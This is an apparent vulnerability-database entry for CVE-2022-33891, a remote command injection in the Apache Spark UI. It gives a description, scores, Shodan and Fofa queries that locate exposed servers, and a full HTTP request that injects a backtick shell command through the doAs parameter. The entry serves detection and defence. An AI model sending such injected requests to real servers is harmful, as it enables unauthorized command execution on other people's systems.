🔙 목록으로 돌아가기

CVE-2022-33891: Apache Spark UI - Remote Command Injection

TitleApache Spark UI - Remote Command Injection
Authorprincechaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
RemediationApply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.
CVSS Score8.8
EPSS Score0.93513
CVE IDCVE-2022-33891
CWE IDCWE-78
Shodan Querytitle:"Spark Master at"http.html:"/apps/imt/html/"http.title:"spark master at"
Fofa Querybody="/apps/imt/html/"title="spark master at"
Tags cve2022 cve apache spark kev packetstorm vkev vuln

🔍 Vulnerability Description

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.

🌐 HTTP Request

GET /?doAs=`echo%20CVE-2022-33891%20%7C%20rev` HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-33891.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-33891.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A